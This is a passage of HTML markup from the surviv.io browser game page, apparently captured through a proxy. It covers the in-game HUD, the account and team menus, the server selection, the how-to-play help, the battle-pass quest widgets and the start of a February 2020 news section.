class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(3,123,0,0.75)'></div> </div> <div id='ui-loot-40mm' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-40mm'></div> <div class='tooltip-description'><span data-l10n='game-40mm-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(12,221,171,0.75)'></div> </div> </div> <div id='ui-emote-button'></div> </div> <div id='ui-top-left' class='js-ui-hud-show click-through'> <div id='ui-team' class='js-ui-mobile-map-hidden'> <div class='ui-team-member ui-bg-standard' data-id='0'> <div class='ui-team-member-name'></div> <div class='ui-team-member-color ui-background-yellow'></div> <div class='ui-team-member-status'></div> <div class='ui-team-member-health'> <div class='ui-bar-inner ui-health-actual'></div> </div> </div> <div class='ui-team-member ui-bg-standard' data-id='1'> <div class='ui-team-member-name'></div> <div class='ui-team-member-color ui-background-purple'></div> <div class='ui-team-member-status'></div> <div class='ui-team-member-health'> <div class='ui-bar-inner ui-health-actual'></div> </div> </div> <div class='ui-team-member ui-bg-standard' data-id='2'> <div class='ui-team-member-name'></div> <div class='ui-team-member-color ui-background-cyan'></div> <div class='ui-team-member-status'></div> <div class='ui-team-member-health'> <div class='ui-bar-inner ui-health-actual'></div> </div> </div> <div class='ui-team-member ui-bg-standard' data-id='3'> <div class='ui-team-member-name'></div> <div class='ui-team-member-color ui-background-orange'></div> <div class='ui-team-member-status'></div> <div class='ui-team-member-health'> <div class='ui-bar-inner ui-health-actual'></div> </div> </div> </div> </div> <div id='ui-map-wrapper' class='ui-map-wrapper-desktop click-through'> <div id='ui-map-container'> <div id='ui-map-info' class='js-ui-map-hidden js-ui-hud-show'> <div id='ui-gas-icon' class='gas-icon'></div> <div id='ui-gas-timer'></div> </div> <div id='ui-spec-counter' class='js-ui-map-hidden js-ui-hud-show'> <div id='ui-spec-counter-icon'></div> <div id='ui-spec-counter-number'></div> </div> <div id='ui-settings-container-desktop' class='js-ui-desktop-map-hidden'> <div id='ui-map-expand-desktop' class='ui-map-expand ui-settings-button'> <img id='mag-glass-white' src=''></img> </div> <div id='ui-map-minimize' class='ui-settings-button js-ui-map-hidden'> <img id='ui-minimize-img' src=''></img> </div> </div> <div id='ui-settings-container-mobile' class='js-ui-mobile-map-hidden'> <div id='ui-alive-info'> <div id='ui-alive-icon' class='ui-map-icon alive-icon'></div> <div id='ui-map-counter-default' class='js-ui-players-alive'>0</div> <div id='ui-map-counter-faction'> <span class='ui-players-alive-red js-ui-players-alive-red'>0</span>:<span class='ui-players-alive-blue js-ui-players-alive-blue'>0</span> </div> </div> <div id='ui-map-expand-mobile' class='ui-map-expand ui-settings-button'></div> </div> </div> </div> <div id='ui-menu-display' class='ui-settings-button prop-event'></div> <div id='ui-kill-leader-container'> <div id='ui-kill-leader-wrapper' class='js-ui-map-hidden js-ui-hud-show hide-on-mobile'> <div id='ui-kill-leader-name'>Waiting for new leader</div> <div id='ui-kill-leader-icon'></div> <div id='ui-kill-leader-count'>0</div> </div> </div> <div id='ui-killfeed-wrapper'> <div id='ui-killfeed' class='js-ui-map-hidden js-ui-hud-show'> <div id='ui-killfeed-contents'></div> </div> </div> <div id='ui-leaderboard-wrapper'> <div id='ui-leaderboard' class='js-ui-hud-show'> <div id='ui-leaderboard-alive'> <span class='ui-players-alive js-ui-players-alive'>0</span> </div> <div id='ui-leaderboard-alive-faction'> <span class='ui-players-alive-red js-ui-players-alive-red'>0</span> <span class='ui-players-alive-blue js-ui-players-alive-blue'>0</span> </div> <div class='ui-leaderboard-header' data-l10n='game-alive'>Alive</div> </div> <div id='ui-kill-counter-wrapper' class='js-ui-map-show'> <div id='ui-kill-counter'> <span class='ui-player-kills js-ui-player-kills'>0</span> </div> <div class='ui-kill-counter-header' data-l10n='game-kills'>Kills</div> </div> </div> <div id='ui-top-center-scopes-wrapper'> <div id='ui-top-center-scopes' class='click-through js-ui-map-hidden'> <div id='ui-scope-1xscope' class='ui-scope ui-zoom'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>1<span class='ui-zoom-append'>x</span></div> </div> </div> <div id='ui-scope-2xscope' class='ui-scope ui-zoom ui-outline-hover'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>2<span class='ui-zoom-append'>x</span></div> </div> </div> <div id='ui-scope-4xscope' class='ui-scope ui-zoom ui-outline-hover'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>4<span class='ui-zoom-append'>x</span></div> </div> </div> <div id='ui-scope-8xscope' class='ui-scope ui-zoom ui-outline-hover'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>8<span class='ui-zoom-append'>x</span></div> </div> </div> <div id='ui-scope-15xscope' class='ui-scope ui-zoom ui-outline-hover'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>15<span class='ui-zoom-append'>x</span></div> </div> </div> </div> </div> <div id='ui-top-center' class='js-ui-map-hidden js-ui-hud-show click-through'> <div id='ui-waiting-text' class='top-center-text'><span data-l10n='game-waiting-for-players'>Waiting for players</span>...</div> <div id='ui-spectate-text' class='top-center-text ui-spectate-mode'> <div class='spectate-text spectate-desc' data-l10n='game-spectating'>Spectating</div> <div id='spectate-player' class='spectate-text'></div> </div> </div> <div id='ui-upper-center' class='click-through'> <div id='ui-announcement'></div> </div> <div id='ui-upper-center-1' class='click-through'> <div id='ui-pickup-notification'> <div id='ui-pickup-description'>Item picked up</div> </div> </div> <div id='ui-lower-center' class='js-ui-map-hidden js-ui-hud-show click-through'> <div id='ui-interaction'> <div id='ui-interaction-press'></div> <div id='ui-interaction-outer'> <div id='ui-interaction-description'></div> </div> </div> </div> <div id='ui-bottom-center-2' class='click-through'> <div id='ui-pickup-message' class='notify-message'></div> <div id='ui-perk-message-wrapper' class='notify-message'> <div id='ui-perk-message-image-wrapper'> <div id='ui-perk-message-image-icon'></div> </div> <div id='ui-perk-message-name' class='notify-message'></div> <div id='ui-perk-message-acquired' class='notify-message'></div> </div> </div> <div id='ui-equipped-ammo-wrapper' class='js-ui-map-hidden js-ui-hud-show'> <div id='ui-equipped-ammo'> <div id='ui-bullet-counter'> <div id='ui-current-clip'>0</div> <div id='ui-remaining-ammo'>0</div> <div id='ui-reload-button-container'> <div id='ui-reload-button'></div> </div> </div> </div> </div> <div id='ui-bottom-center-0' class='click-through js-ui-map-hidden js-ui-hud-show'> <div id='ui-boost-counter'> <div class='ui-boost-base' id='ui-boost-counter-0'> <div class='ui-bar-inner'></div> </div> <div class='ui-boost-base' id='ui-boost-counter-1'> <div class='ui-bar-inner'></div> </div> <div class='ui-boost-base' id='ui-boost-counter-2'> <div class='ui-bar-inner'></div> </div> <div class='ui-boost-base' id='ui-boost-counter-3'> <div class='ui-bar-inner'></div> </div> </div> <div id='ui-health-counter'> <div id='ui-health-flair-left' class='ui-health-flair'></div> <div id='ui-health-flair-right' class='ui-health-flair'></div> <div id='ui-health-container'> <div class='ui-bar-inner' id='ui-health-actual'></div> <div class='ui-bar-inner' id='ui-health-depleted'></div> </div> </div> </div> <div id='ui-bottom-center-left' class='js-ui-map-hidden'> <div id='ui-perk-0' class='ui-armor-counter tooltip-perk ui-outline-hover'> <div class='tooltip-text'> <div class='tooltip-title'></div> <div class='tooltip-desc'></div> </div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> <div id='ui-perk-1' class='ui-armor-counter tooltip-perk ui-outline-hover'> <div class='tooltip-text'> <div class='tooltip-title'></div> <div class='tooltip-desc'></div> </div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> <div id='ui-perk-2' class='ui-armor-counter tooltip-perk ui-outline-hover'> <div class='tooltip-text'> <div class='tooltip-title'></div> <div class='tooltip-desc'></div> </div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> </div> <div id='ui-bottom-center-right' class='js-ui-map-hidden'> <div id='ui-armor-helmet' class='ui-armor-counter ui-outline-hover'> <div class='ui-armor-counter-inner'></div> <div class='ui-armor-level'></div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> <div id='ui-armor-chest' class='ui-armor-counter ui-outline-hover'> <div class='ui-armor-counter-inner'></div> <div class='ui-armor-level'></div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> <div id='ui-armor-backpack' class='ui-armor-counter'> <div class='ui-armor-counter-inner'></div> <div class='ui-armor-level'></div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> </div> <div id='ui-bottom-right' class='js-ui-map-hidden'> <div id='ui-weapon-container'> <div class='ui-weapon-info'> <div class='ui-weapon-switch ui-outline-hover' id='ui-weapon-id-1' data-slot='1'> <div class='ui-weapon-name'></div> <div class='ui-weapon-number'>1</div> <img class='ui-weapon-image' src=''></img> </div> </div> <div class='ui-weapon-info'> <div class='ui-weapon-switch ui-outline-hover' id='ui-weapon-id-2' data-slot='2'> <div class='ui-weapon-name'></div> <div class='ui-weapon-number'>2</div> <img class='ui-weapon-image' src=''></img> </div> </div> <div class='ui-weapon-info'> <div class='ui-weapon-switch ui-outline-hover' id='ui-weapon-id-3'> <div class='ui-weapon-name'></div> <div class='ui-weapon-number'>3</div> <img class='ui-weapon-image' src=''></img> </div> </div> <div class='ui-weapon-info'> <div class='ui-weapon-switch ui-outline-hover' id='ui-weapon-id-4'> <div class='ui-weapon-name'></div> <div class='ui-weapon-number'>4</div> <div class='ui-weapon-exp ui-weapon-ammo-counter'>0</div> <img class='ui-weapon-image' src=''></img> </div> </div> </div> </div> <div id='ui-spectate-options-wrapper'> <div id='ui-spectate-options' class='ui-spectate-mode js-ui-hud-show click-through'> <div id='ui-spectate-buttons' class='ui-bg-standard'> <a class='menu-option btn-darken' id='btn-spectate-next-player' data-l10n='game-next-teammate'>Next Teammate</a> <a class='menu-option btn-darken' id='btn-spectate-prev-player' data-l10n='game-previous-teammate'>Previous Teammate</a> <a class='menu-option btn-darken' id='btn-spectate-view-stats' data-l10n='game-view-match-stats'>View Match Stats</a> <a class='menu-option btn-darken btn-quit' id='btn-spectate-quit' data-l10n='game-leave-game'>Leave Game</a> </div> <div id='ui-spectate-stats' class='ui-bg-standard'> <div id='ui-spectate-stats-header' data-l10n='game-your-results'>Your Results</div> <table id='ui-spectate-stats-table'> <tbody id='ui-spectate-stats-data'> </tbody> </table> </div> </div> </div> <div id='ui-bottom-center-1' class='click-through'> <div id='ui-kills'> <div id='ui-kill-text'></div> <div id='ui-kill-count'></div> </div> </div> </div> <div id='ui-stats'> <div id='ui-stats-bg'></div> <div id='ui-stats-contents'> <div id='ui-stats-contents-inner'> <div id='ui-stats-header'></div> <div id='ui-stats-info-box'></div> <div id='ui-stats-options'></div> <div id='ui-stats-logo'></div> </div> <div id='ui-stats-ad-container-desktop' class='ui-stats-ad-container'> <div id='surviv-io_300x250_2'></div> </div> <div id='ui-stats-ad-container-mobile' class='ui-stats-ad-container'> <div id='surviv-io_300x250_mobile_2'></div> </div> </div> </div> <div class='ui-stats-adblock surviv-shirts'> <a class='surviv-shirts-link' href='/~/https://www.amazon.com/s?rh=n%3A7141123011%2Cp_4%3Asurviv.io&ref=w_bl_sl_s_ap_web_7141123011' target="_blank"></a> </div> <div class='ui-stats-adblock adblock-plea'> <span>Please consider supporting us by disabling your adblocker.</span> </div> </div> <div id='start-menu-wrapper'> <div id='safari-margin'></div> <div id='background'> <div id='start-overlay'></div> </div> <div id='event-modal'> <div id='modal-container'> <p id='modal-header' data-l10n='index-modal-test'>(HEADER TEXT)</p> <img id='modal-img-1'> <div id='modal-content'> <img id='modal-img-2'> <p id='modal-text' data-l10n='event-desc'>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Tincidunt dui ut ornare lectus sit amet est.</p> </div> <button class='close' id='modal-btn' data-l10n='modal-btn-txt' type='button'>(BUTTON TEXT)</button> </div> </div> <div id='start-main'> <div id='start-top-left'> <div id='btn-hamburger' class='icon-hamburger'></div> <div id='start-top-left-desktop'> <div id='featured-streamers'> <div class='streaming-header'> <div id='streaming-header-title' data-l10n='index-streaming-live'>Streaming Live!</div> <div id='streaming-icon'></div> </div> <div class='streamer-list'></div> <div id='featured-streamer-template'> <a href='' target='_blank' class='btn-streamer btn-darken'></a> </div> </div> <div id='featured-youtuber'> <div class='youtube-header'> <div id='youtube-header-title' data-l10n='index-featured-youtuber'>Featured YouTuber</div> </div> <a href='' target='_blank' class='btn-youtuber btn-darken'></a> </div> </div> </div> <!-- Accounts Modals --> <div id='modal-account-name-change' class='modal modal-account'> <div class='modal-content modal-close'> <div class='modal-header modal-header-name'> <span class='close close-corner'></span> <h2 id='modal-account-name-title' data-l10n='index-create-account'>Create Account</h2> </div> <div class='modal-body modal-body-name'> <div class='modal-settings-item'> <p id='modal-account-name-desc' class='modal-body-text' data-l10n='index-set-account-name'>Set your account name:</p> <div id='modal-body-warning'></div> <input type='text' class='menu-option player-name-input' tabindex='0' placeholder='Enter name' id='modal-account-name-input' maxlength='16' /> </div> </div> <div class='modal-footer modal-footer-name modal-footer-round'> <h3 id='modal-account-name-finish' class='finish' data-l10n='index-finish'>Finish</h3> </div> </div> </div> <div id='modal-account-reset-stats' class='modal modal-account'> <div class='modal-content modal-close'> <div class='modal-header modal-header-reset-stats'> <span class='close close-corner'></span> <h2 id='modal-account-name-title' data-l10n='index-reset-stats'>Reset Stats</h2> </div> <div class='modal-body modal-body-reset-stats'> <div class='modal-settings-item'> <p id='modal-account-reset-stats-desc' class='modal-body-text' data-l10n='index-reset-stats-desc'>Enter "RESET STATS" to reset your stats:</p> <p id='modal-account-reset-stats-desc-2' class='modal-body-text' data-l10n='index-reset-stats-desc-2'>(This does not reset pass progress.)</p> <input type='text' class='menu-option player-name-input' tabindex='0' placeholder='' id='modal-account-reset-stats-input' maxlength='16' /> </div> </div> <div class='modal-footer modal-footer-reset-stats modal-footer-round'> <h3 id='modal-account-reset-stats-finish' class='finish' data-l10n='index-confirm'>Confirm</h3> </div> </div> </div> <div id='modal-account-delete' class='modal modal-account'> <div class='modal-content modal-close'> <div class='modal-header modal-header-delete'> <span class='close close-corner'></span> <h2 id='modal-account-name-title' data-l10n='index-delete-account'>Delete Account</h2> </div> <div class='modal-body modal-body-delete'> <div class='modal-settings-item'> <p id='modal-account-delete-desc' class='modal-body-text' data-l10n='index-delete-account-desc'>Enter "DELETE" to delete your account:</p> <input type='text' class='menu-option player-name-input' tabindex='0' placeholder='' id='modal-account-delete-input' maxlength='16' /> </div> </div> <div class='modal-footer modal-footer-delete modal-footer-round'> <h3 id='modal-account-delete-finish' class='finish' data-l10n='index-confirm'>Confirm</h3> </div> </div> </div> <!-- Accounts Mobile --> <div id='modal-mobile-account' class='modal'> <div class='modal-content modal-close'> <div class='modal-header'> <span class='close close-corner'></span> <h2 data-l10n='index-account' data-l10n='index-account'>Account</h2> </div> <div id='modal-mobile-account-body'> <div class='account-buttons-settings account-buttons-wrapper account-block-arrow modal-close'> <div class='account-buttons'> <div class='account-stats-link btn-player-stats-link menu-option btn-darken btn-standard ' data-l10n='index-my-stats'>My Stats</div> <div class='btn-account-link btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-link-account'>Link Account</div> <div class='btn-account-change-name btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-change-account-name'>Change Account Name</div> <div class='btn-account-reset-stats btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-reset-stats'>Reset Stats</div> <div class='btn-account-delete btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-delete-account'>Delete Account</div> <div class='btn-account-logout btn-account-grey menu-option btn-darken btn-standard' data-l10n='index-log-out'>Log Out</div> </div> </div> <div id='account-login-options-mobile' class='account-buttons-link-account account-buttons-wrapper account-block-arrow modal-close'> <div class='login-options-content'></div> </div> </div> </div> </div> <!-- Accounts --> <div id='start-top-right'> <div class='account-block'> <div class='account-details-top'> <div class="account-details-top-buttons"> <div class="account-details-button-wrapper account-details-button-loadout menu-option btn-darken-alt"> <div class='account-details-button'> <div id='loadout-alert-main' class='account-alert-main account-alert'></div> <div class='account-link account-loadout-link'> <span data-l10n='index-loadout'>Loadout</span> </div> </div> </div> <div class="account-details-button-wrapper account-details-link-out menu-option btn-darken hide-on-mobile"> <div class='account-details-button'> <div class='account-link account-stats-link'><span data-l10n='index-my-stats'>My Stats</span></div> </div> </div> <div class="account-details-button-wrapper account-details-link-out menu-option btn-darken hide-on-mobile"> <div class='account-details-button'> <div class='account-link account-leaderboard-link'><span data-l10n='index-leaderboards'>Leaderboards</span></div> </div> </div> </div> </div> <div class='account-overview'> <div class="account-details-user account-details-block"> <div class="account-details"> <div class="account-avatar"></div> <div id="account-login" class="account-player-name account-name account-name-user" data-l10n='index-log-in-desc'>Log In / Create Account</div> <div id="account-player-name" class="account-player-name account-name account-name-user" style="display:none"></div> <div class="account-loading-container"> <div class="account-loading"></div> </div> </div> </div> </div> <div class='account-buttons-settings account-buttons-wrapper account-block-arrow modal-close hide-on-mobile'> <div class='account-buttons'> <div class='btn-account-link btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-link-account'>Link Account</div> <div class='btn-account-change-name btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-change-account-name'>Change Account Name</div> <div class='btn-account-reset-stats btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-reset-stats'>Reset Stats</div> <div class='btn-account-delete btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-delete-account'>Delete Account</div> <div class='btn-account-logout btn-account-grey menu-option btn-darken btn-standard' data-l10n='index-log-out'>Log Out</div> </div> </div> <div id='account-login-options' class='account-buttons-link-account account-buttons-wrapper account-block-arrow modal-close hide-on-mobile'> <div class='login-options-content'></div> </div> </div> </div> <div id='start-main-center'> <div id='start-row-header'> <div id='server-warning'></div> </div> <div id='start-row-top'> <div id='start-rotate-reminder' class='menu-column menu-block'> <span>Rotate to landscape for a better experience.</span> </div> <div id='left-column' class='menu-column'> <div id='ad-block-left'> <div class='surviv-shirts'> <a href='/~/https://www.amazon.com/s?rh=n%3A7141123011%2Cp_4%3Asurviv.io&ref=w_bl_sl_s_ap_web_7141123011' target="_blank"></a> </div> <div class='adblock-plea'> <span>Please consider supporting us by disabling your adblocker.</span> </div> <div class='ad-block-med-rect' id='surviv-io_300x250'> </div> </div> <div id='social-share-block-wrapper'> <div id='social-share-block' class='menu-block'> <div class='btn-social-wrapper'> <a href='/~/https://facebook.com/surviviogame' target='_blank' class='btn-social btn-darken btn-facebook'></a> <a href='/~/https://twitter.com/survivio' target='_blank' class='btn-social btn-darken btn-twitter'></a> <a href='/~/https://www.instagram.com/surviviogame/' target='_blank' class='btn-social btn-darken btn-instagram'></a> <a href='/~/https://discord.gg/survivio' target='_blank' class='btn-social btn-darken btn-discord'></a> <a href='/~/https://www.youtube.com/c/survivio?sub_confirmation=1' target='_blank' class='btn-social btn-darken btn-youtube'></a> </div> </div> </div> </div> <div id='start-menu' class='menu-column menu-block'> <div class='play-loading-outer'> <div class='play-loading-inner'> <div class='play-loading-spinner'></div> </div> </div> <div class='play-button-container'> <div id='player-options'> <input type='text' class='menu-option player-name-input' tabindex='0' placeholder='Enter your name here' id='player-name-input-solo' maxlength='16' /> <a class='btn-darken menu-option player-options-btn' id='btn-customize'></a> </div> <select id='server-select-main' class='server-select menu-option btn-hollow btn-hollow-selected'> <optgroup id='server-opts' label='Region' data-l10n='index-region'> <option value='na' data-label='North America' data-l10n='index-north-america'>North America</option> <option value='sa' data-label='South America' data-l10n='index-south-america'>South America</option> <option value='eu' data-label='Europe' data-l10n='index-europe'>Europe</option> <option value='as' data-label='Asia' data-l10n='index-asia'>Asia</option> <option value='kr' data-label='Korea' data-l10n='index-korea'>South Korea</option> </optgroup> </select> <a class='btn-green btn-darken menu-option' id='btn-start-mode-0' data-l10n='index-play-solo'>Play Solo</a> <div id='btns-quick-start'> <a class='btn-green btn-darken menu-option' id='btn-start-mode-1' data-l10n='index-play-duo'>Play Duo</a> <a class='btn-green btn-darken menu-option' id='btn-start-mode-2' data-l10n='index-play-squad'>Play Squad</a> </div> <div class='btns-double-row'> <a class='btn-darken menu-option btn-team-option' id='btn-join-team' data-l10n='index-join-team'>Join Team</a> <a class='btn-darken menu-option btn-team-option' id='btn-create-team' data-l10n='index-create-team'>Create Team</a> </div> <div id='btn-help' class='menu-option btn-darken' data-l10n='index-how-to-play'>How to Play</div> <div id='start-help'> <h1 data-l10n='index-controls'>Controls</h1> <p><span class='help-action' data-l10n='index-movement'></span>: <span class='help-control' data-l10n='index-movement-ctrl'></span></p> <p><span class='help-action' data-l10n='index-aim'></span>: <span class='help-control' data-l10n='index-aim-ctrl'></span></p> <p><span class='help-action' data-l10n='index-punch'></span>/<span class='help-action' data-l10n='index-shoot'></span>: <span class='help-control' data-l10n='index-shoot-ctrl'></span></p> <p><span class='help-action' data-l10n='index-change-weapons'></span>: <span class='help-control' data-l10n='index-change-weapons-ctrl'></span></p> <p class='hide-on-mobile'><span class='help-action' data-l10n='index-stow-weapons'></span>: <span class='help-control' data-l10n='index-stow-weapons-ctrl'></span></p> <p class='hide-on-mobile'><span class='help-action' data-l10n='index-swap-weapons'></span>: <span class='help-control' data-l10n='index-swap-weapons-ctrl'></span></p> <p class='hide-on-mobile'><span class='help-action' data-l10n='index-swap-weapon-slots'></span>: <span class='help-control' data-l10n='index-swap-weapon-slots-ctrl'></span></p> <p><span class='help-action' data-l10n='index-reload'></span>: <span class='help-control' data-l10n='index-reload-ctrl'></span></p> <p><span class='help-action' data-l10n='index-scope-zoom'></span>: <span class='help-control' data-l10n='index-scope-zoom-ctrl'></span></p> <p><span class='help-action' data-l10n='index-pickup'></span>/<span class='help-action' data-l10n='index-loot'></span>/<span class='help-action' data-l10n='index-revive'></span>: <span class='help-control' data-l10n='index-pickup-ctrl'></span></p> <p><span class='help-action' data-l10n='index-use-medical'></span>: <span class='help-control' data-l10n='index-use-medical-ctrl'></span></p> <p><span class='help-action' data-l10n='index-drop-item'></span>: <span class='help-control' data-l10n='index-drop-item-ctrl'></span></p> <p><span class='help-action' data-l10n='index-cancel-action'></span>: <span class='help-control' data-l10n='index-cancel-action-ctrl'></span></p> <p><span class='help-action' data-l10n='index-view-map'></span>: <span class='help-control' data-l10n='index-view-map-ctrl'></span></p> <p class='hide-on-mobile'><span class='help-action' data-l10n='index-toggle-minimap'></span>: <span class='help-control' data-l10n='index-toggle-minimap-ctrl'></span></p> <p><span class='help-action' data-l10n='index-use-ping'></span>: <span class='help-control' data-l10n='index-use-ping-ctrl'></span></p> <p><span class='help-action' data-l10n='index-use-emote'></span>: <span class='help-control' data-l10n='index-use-emote-ctrl'></span></p> <h1 data-l10n='index-how-to-play'>How to Play</h1> <p data-l10n='index-tips-1-desc'>The goal of surviv.io is to be the last player standing. You only live once per game - there is no respawn!</p> <h1 data-l10n='index-tips-2'>2D PUBG</h1> <p data-l10n='index-tips-2-desc'>If you've played other battle royale games like PUBG, Fortnite or H1Z1, then you're already halfway there! Think of surviv.io as 2D PUBG (with slightly less desync and more chicken).</p> <h1 data-l10n='index-tips-3'>Loot and Kill</h1> <p data-l10n='index-tips-3-desc'>You'll begin the game with no items other than a simple backpack. Move around the map to find loot: weapons, ammo, scopes, and medical items. Eliminate other players and you can take their loot!</p> <h1 data-l10n='index-tips-4'>Red = Bad!</h1> <p data-l10n='index-tips-4-desc'>Players aren't the only thing that can hurt you. The deadly red zone will move in from the sides of the map and deal increasingly greater damage if you stand in it. Keep an eye on the map and stay safe.</p> </div> </div> </div> <div id='team-menu' class='menu-column menu-block'> <div class='play-loading-outer'> <div class='play-loading-inner'> <div class='play-loading-spinner'></div> </div> </div> <div class='play-button-container'> <a class='btn-darken menu-option' id='btn-team-leave' data-l10n='index-leave-team'>Leave Team</a> <div id='team-menu-connecting'> <div class='ui-spinner'></div> <div class='team-menu-connecting-text' id='team-menu-joining-text'><span data-l10n='index-joining-team'>Joining team</span> ...</div> <div class='team-menu-connecting-text' id='team-menu-creating-text'><span data-l10n='index-creating-team'>Creating team</span> ...</div> </div> <div id='team-menu-contents'> <div id='team-desc'> <div id='team-desc-text'><span id='invite-link-text' data-l10n='index-invite-link'>Invite link</span>: <span id='team-url'></span> </div> <a id='team-copy-url' class='copy-item btn-darken'></a> <a id='team-hide-url' class='hide-item btn-darken'></a> <div id='team-code-text'><span id='invite-code-text' data-l10n='index-invite-code'>Invite code</span>: <span id='team-code'></span></div> </div> <div id='team-menu-columns'> <div id='team-menu-members' class='team-menu-block'> <div id='team-menu-member-list'></div> </div> <div id='team-menu-options' class='team-menu-block'> <select id='team-server-select' class='btn-hollow btn-hollow-selected server-select menu-option'> <optgroup id='team-server-opts' label='Region'> <option value='na' data-label='North America' data-l10n='index-north-america'>North America</option> <option value='sa' data-label='South America' data-l10n='index-south-america'>South America</option> <option value='eu' data-label='Europe' data-l10n='index-europe'>Europe</option> <option value='as' data-label='Asia' data-l10n='index-asia'>Asia</option> <option value='kr' data-label='Korea' data-l10n='index-korea'>South Korea</option> </optgroup> </select> <div class='team-menu-options-buttons'> <a class='btn-hollow btn-hollow-selected btn-darken team-menu-option btn-team-queue' id='btn-team-queue-mode-1' data-l10n='index-duo'>Duo</a> <a class='btn-hollow btn-hollow-selected btn-darken team-menu-option btn-team-queue' id='btn-team-queue-mode-2' data-l10n='index-squad'>Squad</a> </div> <div class='team-menu-options-buttons'> <a class='btn-hollow btn-hollow-selected btn-darken team-menu-option btn-team-fill' id='btn-team-fill-auto' data-l10n='index-auto-fill'>Auto Fill</a> <a class='btn-hollow btn-darken team-menu-option btn-team-fill' id='btn-team-fill-none' data-l10n='index-no-fill'>No Fill</a> </div> <div id='team-menu-options-start'> <a class='btn-green btn-darken menu-option' id='btn-start-team' data-label='Play' data-l10n='index-play'>Play</a> <div id='msg-wait-reason'></div> </div> </div> </div> </div> </div> </div> <div id='team-mobile-link' class='menu-column menu-block'> <div id='team-mobile-link-desc' class='team-mobile-link-text' data-l10n='index-join-team-help'>Got a team link or code? Paste it here:</div> <div id='team-mobile-link-warning' class='team-mobile-link-text'>Invalid link!</div> <input type='text' class='menu-option' contenteditable="false" tabindex='0' autofocus placeholder='Paste team link or enter code here' id='team-link-input' /> <a class='btn-darken menu-option btn-team-option' id='btn-team-mobile-link-join' data-l10n='index-join-team'>Join Team</a> <a class='btn-darken menu-option' id='btn-team-mobile-link-leave' data-l10n='index-back-to-main'>Back to Main Menu</a> </div> <div id='right-column' class='menu-column'> <div id='pass-wrapper'> <div id='pass-unlock-tooltip'> <div class='tooltip-pass-title'></div> <div class='tooltip-pass-desc'></div> </div> <div class='right-column-toggle news-toggle'> <div class='account-alert'></div> </div> <div id='pass-loading' class='pass-column menu-block'> <div id='pass-loading-spinner'></div> </div> <div id='pass-block' class='pass-column menu-block'> <div id='pass-name'> <span id='pass-name-text'></span> </div> <div id='pass-progress' class=''> <div id='pass-progress-level' class=''></div> <div id='pass-progress-bar' class=''> <div id='pass-progress-bar-fill'></div> <div id='pass-progress-xp'> <span id='pass-progress-xp-current'></span> <span>/</span> <span id='pass-progress-xp-target'></span> <span>XP</span> </div> </div> <div id='pass-progress-unlock-wrapper'> <div id='pass-progress-unlock' class=''> <div id='pass-progress-unlock-image' class=''></div> </div> <div id='pass-progress-unlock-type-wrapper' class=''> <div id='pass-progress-unlock-type-border' class=''> <div id='pass-progress-unlock-type-image' class=''></div> </div> <div id='pass-progress-unlock-overlay' class=''></div> </div> </div> </div> <div id='pass-quest-wrapper' class=''> <div id='pass-locked'> <div id='btn-pass-locked' class='menu-option btn-darken' data-l10n='quest-login-prompt'>Log in to get quests!</div> </div> <div id='pass-quest-0' class='pass-quest'> <div class='pass-quest-timer'></div> <div class='pass-quest-spinner-container'> <div class='pass-quest-spinner'></div> </div> <div class='pass-quest-refresh-prompt'> <div class='pass-quest-refresh-prompt-text' data-l10n='quest-refresh-prompt'>Get a new quest?</div> <div class='pass-quest-refresh-confirm btn-pass-quest-refresh'></div> <div class='pass-quest-refresh-cancel btn-pass-quest-refresh'></div> </div> <div class='pass-quest-info'> <div class='pass-quest-desc'></div> <div class='pass-quest-xp'></div> <div class='pass-quest-refresh'></div> <div class='pass-quest-progress'> <div class='pass-quest-bar'> <div class='pass-quest-bar-fill'></div> </div> <div class='pass-quest-counter'> <span class='pass-quest-counter-current'></span> <span>/</span> <span class='pass-quest-counter-target'></span> </div> </div> </div> </div> <div id='pass-quest-1' class='pass-quest'> <div class='pass-quest-timer'></div> <div class='pass-quest-spinner-container'> <div class='pass-quest-spinner'></div> </div> <div class='pass-quest-refresh-prompt'> <div class='pass-quest-refresh-prompt-text' data-l10n='quest-refresh-prompt'>Get a new quest?</div> <div class='pass-quest-refresh-confirm btn-pass-quest-refresh'></div> <div class='pass-quest-refresh-cancel btn-pass-quest-refresh'></div> </div> <div class='pass-quest-info'> <div class='pass-quest-desc'></div> <div class='pass-quest-xp'></div> <div class='pass-quest-refresh'></div> <div class='pass-quest-progress'> <div class='pass-quest-bar'> <div class='pass-quest-bar-fill'></div> </div> <div class='pass-quest-counter'> <span class='pass-quest-counter-current'></span> <span>/</span> <span class='pass-quest-counter-target'></span> </div> </div> </div> </div> </div> </div> </div> <div id='news-wrapper'> <div class='right-column-toggle pass-toggle'></div> <div id='news-block' class='menu-block'> <div id='news'> <h3 class='news-header'>What's New!</h3> <div id='news-current' data-date='2020-2-24'> <small class='news-date'>February 24, 2020</small> <p class='news-paragraph'><strong>Curveball</strong></p> <p class='news-paragraph'>The <span class='highlight'>Savannah</span> has returned with a new perk to help flush snipers out of position.</p> <p class='news-paragraph'>The <span class='highlight'>Closer Perk</span> throws grenades much farther, allowing you to put Snipers on the move.</p> </div> <div data-date='2020-2-10'> <small class='news-date'>February 10, 